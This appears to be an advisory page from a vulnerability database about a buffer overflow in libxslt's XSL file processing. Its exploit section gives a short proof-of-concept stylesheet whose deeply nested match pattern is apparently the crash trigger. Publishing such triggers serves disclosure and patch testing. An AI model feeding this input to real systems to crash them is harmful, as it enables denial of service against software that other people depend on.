libxslt XSL File Processing Buffer Overflow Vulnerability

info
discussion
exploit
solution
references

libxslt XSL File Processing Buffer Overflow Vulnerability

The following proof-of-concept XSL file is available:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="xml"/>

<xsl:template
match="html/body/table/tr/td/div/div/div/div/div/div/div/div/table/tr/td/table/tr/td/p/b">
<xsl:if test="contains(text(), 'published')">
<found/>
</xsl:if>
</xsl:template>
</xsl:stylesheet>